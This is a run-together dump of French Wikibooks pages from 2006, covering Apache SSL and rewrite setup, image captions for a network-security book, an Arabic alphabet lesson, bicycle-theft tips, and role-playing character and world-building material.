fichier ****/etc/apache2/sites-available/ssl**** ajoutez : SSLEngine On SSLCertificateFile /etc/apache2/ssl/apache.pem Puis redémarrez apache : sudo /etc/init.d/apache2 restart ===== Utiliser l'url rewriting ===== Il faut activer le module rewrite : sudo a2enmod rewrite Puis relancer apache : sudo /etc/init.d/apache2 reload Attention, si vous n'avez pas créé de VirtualHost, un VirtualHost par défaut est utilisé par apache2 qui ignore les fichiers .htaccess Pour y remédier : sudo vi /etc/apache2/sites-enabled/000-default et remplacez AllowOverride none par AllowOverride All (normalement 2 fois), puis relancez apache : sudo /etc/init.d/apache2 reload Image:Logintelnetwin.png 8618 44801 2006-06-17T10:14:32Z Rortalo 1615 Exemple de connexion Telnet avec le client par défaut de Windows 2000. Exemple de connexion Telnet avec le client par défaut de Windows 2000. Image:Loginsshputty.png 8619 44802 2006-06-17T10:15:25Z Rortalo 1615 Connexion SSH à partir d'un client PuTTY sous Windows 2000. Connexion SSH à partir d'un client PuTTY sous Windows 2000. Image:Windowspluswindows.png 8620 44804 2006-06-17T10:16:29Z Rortalo 1615 Exemple de connexion d'administration via les services Terminal Server (TSE) intégrés dans Windows 2000. Exemple de connexion d'administration via les services Terminal Server (TSE) intégrés dans Windows 2000. Image:Firewall architectures diode.png 8625 45396 2006-06-22T12:47:00Z Rortalo 1615 Schéma de positionnement d'un firewall simple (en diode). {{GFDL}} [[Utilisateur:Rortalo|Rodolphe Ortalo]] Image:Firewall architectures 2diodes.png 8626 44828 2006-06-17T11:38:22Z Rortalo 1615 Schéma de positionnement de deux firewall en diode successifs. (Mise en oeuvre originelle d'une DMZ, une architecture désormais largement obsolète.) Schéma de positionnement de deux firewall en diode successifs. (Mise en oeuvre originelle d'une DMZ, une architecture désormais largement obsolète.) Image:Firewall architectures dmz.png 8627 44829 2006-06-17T11:41:22Z Rortalo 1615 Mise en oeuvre conventionnelle d'une DMZ. Mise en oeuvre conventionnelle d'une DMZ. Image:Firewall architectures dmzadmin.png 8629 44837 2006-06-17T12:17:29Z Rortalo 1615 Architecture firewall avec DMZ d'administration. Architecture firewall avec DMZ d'administration. Image:Firewall architectures dmzpubpriv.png 8630 44838 2006-06-17T12:18:02Z Rortalo 1615 Architecture firewall avec DMZ publique et DMZ privée. Architecture firewall avec DMZ publique et DMZ privée. Image:Firewall architectures dmzrelais.png 8631 44839 2006-06-17T12:18:38Z Rortalo 1615 Architecture firewall avec une DMZ relais (DMZ de service). Architecture firewall avec une DMZ relais (DMZ de service). Image:Firewall architectures dmzras.png 8632 44840 2006-06-17T12:19:27Z Rortalo 1615 Architecture firewall avec une DMZ utilisée pour les accés distants (modem). Un peu obsolète actuellement. Architecture firewall avec une DMZ utilisée pour les accés distants (modem). Un peu obsolète actuellement. Image:Firewall architectures diversification.png 8634 44844 2006-06-17T12:32:34Z Rortalo 1615 Architecture double firewall avec diversification des équipements (pour une sécurité accrue). Architecture double firewall avec diversification des équipements (pour une sécurité accrue). Image:Firewall architectures redondance.png 8635 44845 2006-06-17T12:33:31Z Rortalo 1615 Architecture redondante à double firewall (pour tenter d'accroitre la disponibilité). Architecture redondante à double firewall (pour tenter d'accroitre la disponibilité). Apprendre l'Arabe 8637 44980 2006-06-18T01:53:51Z Eric.dane 1653 Apprendre l'Arabe [[de:Arabisch]] [[en:Arabic]] [[it:Corso di arabo]] [[he:ערבית]] [[it:Corso di arabo]] [[he:ערבית]] = Introduction = == L'alphabet Arabe == === Consonnes === {|class="wikitable" |- !colspan="4"|Formes !rowspan="2"|Nom !rowspan="2"|Valeur phonetique<br/>([http://fr.wikipedia.org/wiki/Alphabet_phon%C3%A9tique_international IPA]) |-align="center" !Finale !Mediane !Initiale !Isolée |-align="center" |{{Ar|ا}} |{{Ar|ﺍ}} |{{Ar|ﺎ}} | | | variées |-align="center" | {{Ar|ﺐ}} | {{Ar|ﺒ}} | {{Ar|ﺑ}} | {{Ar|ﺏ}} | {{Ar|ﺑﺎ}} | {{IPA|b}} |-align="center" |{{Ar|ﺖ}} |{{Ar|ﺘ}} |{{Ar|ﺗ}} |{{Ar|ﺕ}} | |{{IPA|t}} |} = Leçons = = Voir aussi = * [http://wikitravel.org/fr/Guide_linguistique_arabe Guide linguistique Arabe] (sur Wikitravel) * http://en.wikipedia.org/wiki/Arabic_alphabet * http://pince31.free.fr/lang/arabeindex.htm * http://lorientales.free.fr/inalco/arabe/asm_main.htm == Bibliographie == [[Catégorie:Arabe]] [[Catégorie:Langues]] Modèle:Arabe 8638 44934 2006-06-18T00:57:10Z Eric.dane 1653 [[Modèle:Arabe]] déplacé vers [[Modèle:Ar]] #REDIRECT [[Modèle:Ar]] Modèle:IPA 8639 44951 2006-06-18T01:18:51Z Eric.dane 1653 <span title="Prononciation en IPA" class="IPA" style="padding:10px;font-size:12pt;>{{{1}}}</span> <noinclude> [[de:Vorlage:IPA]] [[fr:Modèle:IPA]] [[it:Template:IPA]] [[nl:Template:IPA]] [[vi:Tiêu bản:IPA]] </noinclude> Modèle:API 8640 44938 2006-06-18T01:02:20Z Eric.dane 1653 [[Modèle:API]] déplacé vers [[Modèle:IPA]] #REDIRECT [[Modèle:IPA]] Catégorie:Langues 8641 44973 2006-06-18T01:43:37Z Eric.dane 1653 wikibooks en lien avezc les langues [[cs:Kategorie:Jazyky]] [[de:Kategorie:Sprachen]] [[en: Category:Languages]] [[es:Categoría:Idiomas]] <!--[[fr:Catégorie:Langues]]--> [[it:Categoria:Lingue]] [[ja:Category:語学]] [[nl:Categorie:Taal]] [[pl:Kategoria:Języki]] [[pt:Categoria:Línguas]] [[ru:Category:&#1071;&#1079;&#1099;&#1082;&#1080;]] [[simple:Category:Languages]] [[fi:Luokka:Kielet]] [[sv:Kategori:Språk]] Arabe 8642 44979 2006-06-18T01:52:23Z Eric.dane 1653 [[Arabe]] déplacé vers [[Apprendre l'Arabe]] #REDIRECT [[Apprendre l'Arabe]] Le Biodiesel 8643 44984 2006-06-18T06:37:18Z 82.67.156.31 redirect #redirect [[Biocarburant : fabrication du biodiesel]] Wikilivres:Avertissements généraux 8644 44994 2006-06-18T09:11:18Z 83.153.58.111 Bonjour je ne sais pas qui derrière WIKIPEDIA se trouve ? j'apprécie que le Savoir soit donné au Monde Merci de m'indiquer les liens organiques and your comitments Best rergards jacques.dadoun@aliceadssl.fr Image:Shotcain.png 8646 44999 2006-06-18T09:36:46Z Rortalo 1615 Photo d'écran de l'utilisation de Cain. Photo d'écran de l'utilisation de Cain. Image:Ids terminologie.png 8648 45004 2006-06-18T09:51:27Z Rortalo 1615 Arbre terminologique de la détection d'intrusion. Arbre terminologique de la détection d'intrusion. Image:Ids idwg architecture.png 8649 45013 2006-06-18T11:04:51Z Rortalo 1615 Schéma générique d'architecture d'un IDS proposé par l'IDWG. Schéma générique d'architecture d'un IDS proposé par l'IDWG. Image:Ids exemplearchi.png 8650 45016 2006-06-18T11:13:28Z Rortalo 1615 Architecture envisageable pour un IDS (avec un collecteur intermédiaire). Architecture envisageable pour un IDS (avec un collecteur intermédiaire). Image:Ids exempleusuel.png 8651 45017 2006-06-18T11:14:02Z Rortalo 1615 Architecture usuelle d'un déploiement d'IDS. Architecture usuelle d'un déploiement d'IDS. Image:Snort msrpc.png 8652 45020 2006-06-18T11:23:37Z Rortalo 1615 Signature Snort pour une attaque sur le service RPC de Windows 2000. Signature Snort pour une attaque sur le service RPC de Windows 2000. Image:Snort klez.png 8653 45021 2006-06-18T11:24:13Z Rortalo 1615 Signature Snort pour détecter le virus Klez. Signature Snort pour détecter le virus Klez. Image:Ids piwi.png 8654 45025 2006-06-18T11:32:16Z Rortalo 1615 Exemple d'exécution de l'interface Web Piwi de Prelude-IDS v0.8. Exemple d'exécution de l'interface Web Piwi de Prelude-IDS v0.8. Image:Ids multievts.png 8655 45027 2006-06-18T11:37:17Z Rortalo 1615 IDS et analyse multi-évènements. IDS et analyse multi-évènements. Image:Ids archicorr.png 8656 45029 2006-06-18T11:40:44Z Rortalo 1615 Architecture de corrélation d'alertes pour un IDS. Architecture de corrélation d'alertes pour un IDS. Image:Ethereal capture.png 8659 45035 2006-06-18T11:56:33Z Rortalo 1615 Exemple de capture réseau avec Ethereal (maintenant Wireshark). Exemple de capture réseau avec Ethereal (maintenant Wireshark). Image:Ethereal options.png 8660 45036 2006-06-18T11:56:58Z Rortalo 1615 Options de capture réseau avec Ethereal (maintenant Wireshark). Options de capture réseau avec Ethereal (maintenant Wireshark). Image:Ethereal telnet.png 8661 45037 2006-06-18T11:57:34Z Rortalo 1615 Exemple de capture réseau et de reconstruction d'un flux Telnet avec Ethereal (maintenant Wireshark). Exemple de capture réseau et de reconstruction d'un flux Telnet avec Ethereal (maintenant Wireshark). Image:DNS1.png 8662 45045 2006-06-18T12:12:03Z Teckel 1461 modèle de NLIA ou Native Language Internet Address de Netpia {{CC-BY-SA}} Image:Nagios main.png 8663 45041 2006-06-18T12:01:18Z Rortalo 1615 Surveillance des services avec Nagios. Surveillance des services avec Nagios. Image:Cacti snmp.png 8664 45047 2006-06-18T12:29:02Z Rortalo 1615 Suivi d'activité avec Cacti (via SNMP). Suivi d'activité avec Cacti (via SNMP). Image:Rrd iptraf.png 8665 45049 2006-06-18T12:33:44Z Rortalo 1615 Exemple de suivi d'activité du trafic IP sur une semaine. Exemple de suivi d'activité du trafic IP sur une semaine. Image:Rrd icmp.png 8666 45050 2006-06-18T12:35:10Z Rortalo 1615 Exemple de suivi de l'activité ICMP en présence d'un scan de ports. Exemple de suivi de l'activité ICMP en présence d'un scan de ports. Image:Rrd udp.png 8667 45051 2006-06-18T12:35:37Z Rortalo 1615 Exemple de suivi de l'activité UDP. Exemple de suivi de l'activité UDP. Image:Avclient aff.png 8669 45056 2006-06-18T12:47:49Z Rortalo 1615 Image:Avclient main.png 8670 45057 2006-06-18T12:48:09Z Rortalo 1615 Image:Avclient list.png 8671 45058 2006-06-18T12:48:30Z Rortalo 1615 Image:Avexemple alerte.png 8672 45059 2006-06-18T12:48:51Z Rortalo 1615 Image:Avconsole.png 8673 45060 2006-06-18T12:49:11Z Rortalo 1615 Image:Avhistoriquevirus.png 8674 45061 2006-06-18T12:49:38Z Rortalo 1615 Image:Avevents.png 8675 45062 2006-06-18T12:50:00Z Rortalo 1615 Image:Default xp audit.png 8677 45065 2006-06-18T12:58:31Z Rortalo 1615 Image:Reco xp audit.png 8678 45066 2006-06-18T12:58:49Z Rortalo 1615 Image:Default xp obs.png 8679 45067 2006-06-18T12:59:05Z Rortalo 1615 Image:Default xp obs parms.png 8680 45068 2006-06-18T12:59:20Z Rortalo 1615 Image:Pass winrules.png 8681 45069 2006-06-18T12:59:40Z Rortalo 1615 Image:Overallc 2004 11.gif 8683 45074 2006-06-18T13:26:33Z Rortalo 1615 Image:Site count history 2004 11.gif 8684 45078 2006-06-18T13:29:04Z Rortalo 1615 Image:Websense blocked.png 8686 45081 2006-06-18T13:43:53Z Rortalo 1615 Image:Websense filterrules2.png 8687 45082 2006-06-18T13:44:14Z Rortalo 1615 Image:Dns general.png 8690 45090 2006-06-18T14:14:59Z Rortalo 1615 Schéma général d'échanges DNS (exemple). Schéma général d'échanges DNS (exemple). Image:X509 exemple.png 8692 45095 2006-06-18T14:21:07Z Rortalo 1615 Exemple d'organisation d'une PKI utilisant les certificats X.509. Exemple d'organisation d'une PKI utilisant les certificats X.509. Modèle:Sécurité informatique 8694 45187 2006-06-19T08:08:49Z Rortalo 1615 {| align="right" border="1" style="margin:0.7em 0.7em 0.7em 0.7em;border:1px solid #AAAAAA;background:#F9F9F9;border-collapse:collapse;font-size:75%;" ! [[Utilisateur:Rortalo/Sécurité informatique|Sécurité informatique]] |- | * [[Utilisateur:Rortalo/Sécurité informatique/Introduction|Introduction]] * Fonctionnement dans une entreprise ** [[Utilisateur:Rortalo/Sécurité informatique/Le domaine SSI|Le domaine SSI]] *** [[Utilisateur:Rortalo/Sécurité informatique/Le domaine SSI/Documents SSI|Documents SSI]] ** [[Utilisateur:Rortalo/Sécurité informatique/La veille technologique sécurité|La veille technologique sécurité]] *** [[Utilisateur:Rortalo/Sécurité informatique/La veille technologique sécurité/Scénarios|Scénarios]] ** [[Utilisateur:Rortalo/Sécurité informatique/Administration et exploitation|Administration/Exploitation]] ** [[Utilisateur:Rortalo/Sécurité informatique/Environnement|Environnement]] ** [[Utilisateur:Rortalo/Sécurité informatique/Eléments de législation|Législation]] * Moyens techniques de protection ** [[Utilisateur:Rortalo/Sécurité informatique/Protection réseau et firewall|Réseau et Firewall]] *** [[Utilisateur:Rortalo/Sécurité informatique/Protection réseau et firewall/Aspects architecturaux|Aspects architecturaux]] **** [[Utilisateur:Rortalo/Sécurité informatique/Protection réseau et firewall/Aspects architecturaux/Utilisations pratiques des DMZ|Utilisation de DMZ]] **** [[Utilisateur:Rortalo/Sécurité informatique/Protection réseau et firewall/Aspects architecturaux/Diversification et haute-disponibilité|Diversification et haute-disponibilité]] *** [[Utilisateur:Rortalo/Sécurité informatique/Protection réseau et firewall/Exemples|Exemples]] ** [[Utilisateur:Rortalo/Sécurité informatique/Systèmes d'authentification|Systèmes d'authentification]] ** [[Utilisateur:Rortalo/Sécurité informatique/Chiffrement de flux et VPN|Chiffrement de flux et VPN]] ** [[Utilisateur:Rortalo/Sécurité informatique/Détection d'intrusion|Détection d'intrusion]] ** [[Utilisateur:Rortalo/Sécurité informatique/Centralisation des traces|Gestion des traces]] ** [[Utilisateur:Rortalo/Sécurité informatique/Observation, surveillance, supervision|Observation, surveillance, supervision]] * Protection et applications usuelles ** [[Utilisateur:Rortalo/Sécurité informatique/Antivirus|Antivirus]] ** [[Utilisateur:Rortalo/Sécurité informatique/Configuration des traces et mots de passe Windows|Traces et mots de passe Windows]] ** [[Utilisateur:Rortalo/Sécurité informatique/Serveur HTTP|Serveur HTTP]] ** [[Utilisateur:Rortalo/Sécurité informatique/Filtrage d'URL|Filtrage d'URL]] ** [[Utilisateur:Rortalo/Sécurité informatique/Signature et messagerie|Signature et messagerie]] ** [[Utilisateur:Rortalo/Sécurité informatique/DNS avec BIND 9|Serveur DNS (BIND 9)]] ** [[Utilisateur:Rortalo/Sécurité informatique/PKI|PKI et signatures]] ** [[Utilisateur:Rortalo/Sécurité informatique/Routage IP|Routage dynamique]] ** [[Utilisateur:Rortalo/Sécurité informatique/Active Directory Windows 2000|''Active directory'']] ** [[Utilisateur:Rortalo/Sécurité informatique/Samba|Samba]] * [[Utilisateur:Rortalo/Sécurité informatique/Outils de recherche de vulnérabilité|Recherche de vulnérabilités]] |- | align="right" | <small>[http://fr.wikibooks.org/w/index.php?title=Mod%C3%A8le:S%C3%A9curit%C3%A9_informatique Ce modèle]</small> |} Faculté de Géophysique 8696 45177 2006-06-18T20:53:09Z Mathieu 1658 La géophysique est l'étude de la nature des roches et de la structure des roches à partir de méthodes indirectes et physiques (électricité, magnétométrie, électromagnétisme, magnétisme, gravimétrie,...). La géophysique se base donc sur des observations indirectes. Guide du vélo en ville/Annexe 1: prévenir le vol 8701 45282 2006-06-20T23:18:00Z Fabrice 1558 ajout emplacement antivol {{ébauche}} Ce livre se veut la somme d'avis, d'expériences divers. N'hésite donc pas à participer à sa rédaction collective en cliquant sur "modifier". Si certains conseils, points de vue paraissent inconciliables, opposés, merci des les ajouter en l'indiquant et d'en dire un peu plus en modifiant la page de "discussion" rattachée à cette page. Rien de plus désagréable de se faire voler son vélo. Mais contrairement à ce qu'on entend souvent, ce n'est pas une fatalité : voici quelques conseils pour grandement limiter les risques. == Avoir un antivol efficace == En raison de la limite du poids, un bon antivol pour vélo ne sera indestructible mais donnera un peu de fil à retordre à l'éventuel voleur : il lui faudra des outils adéquats et bien 10 minutes pour en venir à bout. De quoi décourager la plupart des candidats-voleurs. On peut généralement davantage faire confiance aux antivols en U de qualité, le mieux est de se reporter aux tests : Tests d'antivols par la Fubicy : http://www.fubicycode.org/html/pg_htm/antivols.htm == Faire graver son vélo avec Bicycode == Pour donner une chance à ton vélo de te retrouver en cas de vol, offre lui un tatouage ! Il s'agit de gravé le vélo avec un numéro unique. Le marquage des vélos est une solution éprouvée dans d'autres pays d'Europe (Danemark et Allemagne) où les chances de récupérer son vélo après un vol peuvent dépasser 40%. De plus, le vol et la revente sont plus risqué si la police ou un acheteur peuvent contrôler rapidement si un vélo est volé. Qu'attendons-nous ? C'est parti, avec les associations membres de la FUBicy. Tout est expliqué ici : http://www.fubicycode.org/ Et en particulier la Foire aux questions : http://www.fubicycode.org/html/pg_htm/faq.htm == Prendre de bonnes habitudes == Toujours attacher son vélo, même si on en a pour deux minutes et qu'on reste peu éloigné. Pour les stationnements minute, une bonne solution est le cadenas intégré, généralement sur la roue arrière, très rapide à verrouiller/déverrouiller. Même dans une cage d'escalier ou un local à vélos, le vélo doit être attaché à un point fixe sûr. Toujours prendre le cadre dans le cadenas et si possible la roue avant ou arrière. Si tes roues sont coûteuses, utilise deux cadenas. Dans la rue, ne laisse pas ton vélo dans un endroit désert ni trop longtemps. Enlève les parties du vélo facilement démontables et qui sont chères : selle ou roue à blocage rapide. Tu peux utiliser les écrous antivols. Evite que l'antivol ne traîne par terre ou sur une surface dure : le travail de déstruction de l'antivol est alors facilité. [[Guide du vélo en ville/En savoir plus|<< En savoir plus]] | Annexe 1: prévenir le vol | [[Guide du vélo en ville|Guide du vélo en ville >>]] Création de personnages 8702 45350 2006-06-21T22:49:11Z Niladmirari 1645 /* Contacts du personnage */ Cette liste de questions vise à faciliter la création d'un personnage complet (en plus des caractéristiques habituelles) dans les jeux de rôles. Pour le moment, elle est surtout axée sur le médiéval-fantastique. ===Questions à poser aux joueurs pour aider à approfondir leurs personnages=== ==Historique du personnage== :Quelle est votre date de naissance? :Où êtes-vous né? :Dans quelles circonstances? :Connaissez-vous vos parents? :Si oui, que faisaient-ils? :Si oui, vous entendez-vous bien avec eux? :Sont-ils vivants? :Si oui, les revoyez-vous? :Avez-vous passé une enfance heureuse? :Si non, avez-vous subi quelque traumatisme? :Quel genre d’enfant étiez-vous? :Avez-vous des frères et des sœurs? ::Si oui, les revoyez-vous? ::Si oui, vous entendez-vous bien avec eux? :Êtes-vous marié, en couple? :Avez-vous des enfants? :Que faîtes-vous dans la vie? :Qui sont vos amis, vos contacts? ==Personnalité du personnage== :Quelles sont vos valeurs? :Êtes-vous croyant? :Si oui, êtes-vous pratiquant? :En politique : gauche, droite ou centre? :Amitié, carrière ou amour? :Quel est votre plus grande qualité? :Quel est votre pire défaut? :Avez-vous des habitudes particulières? :Avez-vous un accent, une façon de parler particulière? :Utilisez-vous un juron ou une insulte particulière? :Quels sont vos passe-temps? :Qu’aimez-vous dans la vie? :Que détestez-vous? :Quels sont vos objectifs, vos rêves? :Avez-vous des regrets quant à un échec ou quelque chose que vous n’avez pas fait? :Avez-vous des problèmes mentaux (phobie, obsession, dépendance, etc.)? ==Description physique du personnage== :De quelle race faîtes-vous partie (blanche, jaune, rouge, noire, etc.)? :Quelle est votre main principale? :Quelle est la couleur de vos cheveux? :Quelle est leur longueur? :Comment sont-ils coupés? :Si vous-êtes un homme, portez vous la barbe ou la moustache? :Quelle est la couleur de vos yeux? :Quelle est votre taille? :Quelle est votre complexion (maigre, normale, robuste, obèse, trapue, etc.)? :Décrivez votre visage (creux, cerné, ridé, blême, belle dentition, etc.). :Lorsqu’on vous voit pour la première fois, inspirez-vous un sentiment particulier? :Comment vous habillez-vous (excentriquement, élégamment, ordinairement, etc.)? :Portez-vous des bijoux? :Avez-vous une cicatrice, un tatouage ou une autre marque distinctive? :Avez-vous des ennuis de santé, telle une allergie particulière? :Avez-vous quelque déformation? ==Contacts du personnage== :Êtes-vous solitaire ou sociable, extroverti ou introverti? :Dans quelles circonstances rencontrez-vous vos amis (beuverie, etc.)? :Se connaissent-ils entre eux ou forment-ils plusieurs petits groupes? :Comment les avez-vous connu? :Vivent-ils près de chez vous ou sont-ils disséminés aux quatre vents? :Pratiquent-ils le même métiers que vous, vous ressemblent-ils? :Viennent-ils du même milieu que vous? :Avez-vous des contacts susceptibles de vous donner des informations ou de vous procurer des objets et denrées rares? :Avez-vous un animal domestique? :Avez-vous un ennemi? :Êtes-vous resté en bons termes avec vos anciens amoureux? ==Règle optionnelle pour ''Donjons et Dragons'' : le nombre de contacts== Vous investissez autant de points que vous avez de charisme, de un à trois par contact. Un seul point signifie un contact, qu’il s’agisse d’une simple relation d’affaires, d’une connaissance ou d’un ami plus ou moins fiable. Deux points signifient un bon ami. Vous pouvez lui parler de vos affaires personnelles et lui faire assez confiance. Vous n’êtes pas certain du point auquel vous pouvez vous remettre à lui. Trois points signifient un ami à la vie à la mort. Notez que vos compagnons d’aventures n’entrent pas dans ce pointage, vous les avez de toute façon. Exemple de monde fantastique 8705 45315 2006-06-21T09:58:22Z Niladmirari 1645 ''Ce qui suit est la description d'un monde fantastique conçu pour ''Donjons et Dragons''. Ceux qui connaissent peu les jeux de rôles pourront découvrir à quoi ils peuvent ressembler et ceux qui les connaissent auront l'occasion de découvrir un monde unique à sa manière.'' ==Découvrez Vélindal!== ===L’extérieur=== Vélindal est un archipel isolé qui fut victime d’un cataclysme il y a mille ans, lors de la chute de la Météorite qui dévasta le monde. La civilisation d’alors possédait des connaissances technologiques extrêmement avancées qui se perdirent malheureusement. C’est maintenant le rôle des archéologues de fouiller les ruines et de les redécouvrir. Les mutations se propagèrent, causées par un virus provenant de la Météorite. Tandis que certains humains gagnaient des pouvoirs étranges et que les morts se mettaient à marcher, des animaux et des plantes se transformèrent au point de devenir méconnaissables et parfois (pas toujours) dangereux. C'est le rôle du tératologue, un scientifique, de répertorier les nouvelles mutations chez les végétaux, les animaux, les monstres et les humains. À force de le faire, il arrive qu'il découvre son propre potentiel de mutation et imite les capacités des mutants qu’il voit. Comme les ressources sont rares, la magie est utilisée pour augmenter la fertilité des terres. Les cités en sont même devenues dépendantes. Dans les temps difficiles, il arrivera qu’une cité pille sa voisine. Les prisonniers de guerre seront réduits en esclavage et envoyés dans les mines, les camps de bûcherons, les terres agricoles, bref tout ce qui pourrait être massacré par des animaux mutants. On contrôle le nombre des naissances pour éviter la famine et les maux qu’elle engendre. Les courants marins qui entourent l’archipel ne laissent qu’une issue, gardée par l’île de l’Hippogriffe, la seule à posséder ses bateaux volants. Celle-ci désire éviter la propagation du mutantisme. Aucun habitant de Vélindal n’a déjà pu franchir ce point ou même le visiter. Les principales îles de l'archipel sont : Cloria, Béorite (où se trouve Sirnia, la métropole), Launsud, Ogoland (divisée en deux par la fissure) et l'île de l'Hippogriffe. ===La cité=== Les villes de Vélindal sont toutes jalouses de leur indépendance, ce sont des cités-États. Plusieurs d’entre elles se replient sur elles-mêmes, mais certaines possèdent des réseaux de galeries souterraines, dans lesquels des machines transportent les voyageurs. L’espace est très restreint dans la cité. Les plus riches ne possèdent pas de cour, mais des toits plantés d’arbres, rappel nostalgique du monde extérieur au citadin, qui ne sort normalement jamais de la ville. La vie est dure pour les plus pauvres. On retrouve beaucoup d’orphelins qui vagabondent dans les rues. Ils achèveront souvent leur vie comme forçats ou sur l’échafaud. La violence et la prostitution sont aussi des plaies sociales. Certaines personnes n'ont d'autre choix que de se vendre à la mafia pour survivre. Elles seront habitées par des démons qui exécuteront leur tâche s'ils refusent de le faire. La population regarde la garde municipale avec méfiance puisque sa corruption est notoire. Les notables maintiennent quant à eux la population dans l’indigence. Ils évitent les soulèvements en tolérant les combats de bagarreurs, un des rares divertissements. Les bagarreurs sont la fierté des gens du commun; ils sont virtuoses dans le combat à mains nues — le port d’armes étant strictement interdit aux classes inférieures. Leur métier est un des rares à faire accéder à un meilleur statut social. La pègre, qui pratique avec assiduité la vendetta, est étroitement liée à ce domaine et possède une grande autorité. Elle fait le reste de son argent avec la vente au noir, puisque tout est rationné. Les quelques rares magiciens sont toujours issus des classes supérieures et utilisent la magie noire, dite « magie de destruction », et la magie blanche, dite « magie de soins ». Après l’apprentissage de cette science ésotérique, le magicien doit faire son service militaire et reste attaché à son académie. La robe qu'il doit porter rappellera l'endroit où il a effectué son apprentissage. Être accepté dans le cercle très fermé des magiciens est un honneur auquel on peut accéder en passant l’Épreuve qui se tient une fois l’an (voir le calendrier à ce sujet). Les magiciens ont leurs gardes du corps, les gardiens. Ces gardiens sacrifieront leurs vies si besoin est. * ''Les deux langues parlées dans Vélindal sont le vulgaire et le macleachlainn, la langue d’avant le cataclysme, qui est aussi celle de la magie.'' ==Mythologie== ===Quelques précisions sur les plans=== Dans mon univers de jeu, il y a deux principaux plans : Vélindal, le monde des vivants et Ad Patres, le monde des morts. Ils existent au même endroit physique, mais dans des dimensions différentes et peuvent s'influencer entre eux. Celui qui meurt dans Vélindal apparaît dans l’endroit homologue de Ad Patres. On dit alors qu'il est une âme. S’il meurt encore, il n'existera plus du tout. Il m’est donc possible de faire une partie avec des joueurs même si leurs personnages sont morts une fois. Si on anime un cadavre dans Vélindal, son âme tombe en catatonie dans Ad Patres. Il existe aussi une infinité de réalités parallèles à Vélindal-Ad Patres. Pour chaque individu de Vélindal et chaque âme de Ad Patres, on retrouvera son homologue dans ces réalités, mais avec de petites ou grosses différences chaque fois. ==Précisions sur la foi== Les dieux tirent leur force de la foi des fidèles, plus on croit en eux, plus ils sont forts. Si on cessait de croire en l’un d’eux, il cesserait d’exister. Aucune caste cléricale n'existe; on élira plutôt les prêtres parmi les doyens une fois l'an. Ils devront entre autres faire des sacrifices (seuls les animaux sont sacrifiés). De plus, il est du devoir des patriarches de chaque famille de célébrer les ancêtres. Notez qu'aucun dieu n'est fondamentalement mauvais, ses intentions seront parfois égocentriques, mais jamais maléfiques. ==Les dieux== Angelus, l'espiègle protecteur des cités Domaine : la cité Attributs : commerce, voleurs, protection, guérison, Symbole : le feu Hikmat, le chercheur de la Connaissance Domaine : Ad Patres Attributs : mort, enseignement et connaissance, destin, paranormal, vérité Symbole : tiare Maik, le ferme gardien de la nature Domaine : régions sauvages Attributs : nature, justice, voyageurs, guerre/stratégie, Soleil Symbole : rune Amira la Bienveillante Domaines : Nihil Attributs : Lune (son œil), fertilité, art, amour, vie, vengeance Symbole : œil ==Calendrier== Une année dans Vélindal 384 jours par année 12 mois de 32 jours Correspondance des mois dans Vélindal Novembre — Mí na Samhna Décembre — Mí na Nollag Janvier — Eanáir Février — Feabhra Mars — Márta Avril — Aibreán Mai — Mí na Bealtaine Juin — Meitheamh Juillet — Iúil Août — Lúnasa Septembre - Meán Fómhair Octobre - Deireadh Fómhair ==Jours de fête== Nouvel An (1er janvier) On y fête le début de la nouvelle année un peu comme nous-mêmes, c'est-à-dire en se réunissant en famille pour chanter, se conter des histoires, danser, manger, fabriquer des bonshommes de neige et échanger des cadeaux. Grande Foire (28 février) Les commerçants liquident leurs restants d'inventaire et organisent des soirées mondaines. C'est l'occasion idéale pour les aventuriers de trouver des objets exotiques ou rares! Fonte des neiges (1er au 5 mars) En cette période, on porte des vêtements de couleurs chaudes, on fait du bruit et on exhibe les mutants les plus affreux, le but étant de faire peur à l'hiver et le chasser. Élection du clergé (3 avril) En ce jour sacré, on élit le clergé — les temples ne doivent de comptes qu’à eux-mêmes, à aucune autre hiérarchie supérieure — qui servira l'année suivante parmi les doyens. Jour de l'Amour (8 mai) Bien des gens se marient en cette fête de l'amour. Celui qui rompt ce contrat s’attire les foudres de la déesse Amira. Solstice d'été (21 juin) C'est le jour le plus long de l'année. Les forces de la vie ont le dessus. Pour leur rendre hommage, on allume des feux la nuit venue Jour du Souvenir (14 juillet) Pour que jamais on n'oublie le Cataclysme... Pour une raison inexpliquée, la lumière solaire n'éclaire pas Vélindal ce jour... Épreuve (18 août) Une fois par année, les aspirants-magiciens passent des auditions pour avoir le droit de faire leur apprentissage. Tout le monde peut y assister. Jour de la Grâce (24 septembre) C'est en ce jour que les prisonniers peuvent demander le pardon pour leurs actes et peuvent être libérés. Jour de la Paix (15 octobre) Ce jour est une célébration de la paix. C'est aussi un jour de trêve en temps de guerre. Samhuinn (1er novembre) On pleure les morts en ce jour qui leur est dédié. C'est aussi pendant Samhuinn que les morts et les fées reviennent dans le monde des vivants puisque la frontière entre leurs mondes respectifs devient franchissable. Championnat des bagarreurs (12 décembre) C'est le couronnement de l'année pour les bagarreurs. Le grand champion de chaque cité est honoré jusqu'à ce qu'on en nomme un autre l'année suivante. ==Races== Un joueur peut incarner plusieurs sortes d’humains inhabituels dans Vélindal, en plus de pouvoir incarner les races typiques aux mondes fantastiques. Mort-vivant : C’est un mort qui ne peut partir dans Ad Patres; il a une tâche à accomplir avant de pouvoir reposer en paix et n'est pas forcément maléfique! Mutant : Il y a une infinité de mutants et autant de mutations. Ces mutations sont à double tranchant puisqu’elles supposent un inconvénient pour un avantage, lorsqu'il y a avantage. Il ne tient qu'au joueur de faire preuve d'originalité dans ce qu'il désire jouer. Il arrive à l'occasion qu'un personnage se mute, gagnant ainsi une nouvelle capacité, comme plus de force physique, la capacité de jeter un sort sans être magicien... Si un joueur désire incarner quelque chose de classique : elfe, nain, hobbit... il peut théoriquement le faire puisque cela pourrait être d'autres mutations. Notez qu'il y a parfois du racisme entre les « normaux » et les mutants. Exemples : *Capacités de reptile *Griffes *Respirer sous l’eau *Taille anormale *Ailes *Nyctalopie Liste d'idées pour les jeux de rôles 8706 45425 2006-06-22T22:18:37Z Niladmirari 1645 /* Effets critiques */ Il est toujours bon de tenir une liste d'idées prête quand on est maître de jeu. Par exemple, il est assez difficile d'improviser le titre des huit livres que les personnages découvriront dans la bibliothèque de l'archimage Galaroc et pas plus aisé de décider sans préparation les objets qu'ils découvriront lors de la prochaine visite dans une brocante. Voici donc un exemple de liste qu'un maître averti pourrait aimer tenir prête. Bien sûr, il peut également servir de source d'inspiration pour les maîtres de jeu en quête d'idées. ==Noms== *Néria *Aramir *Iramkar *Sarlos *Merkos *Ilamnia *Flora 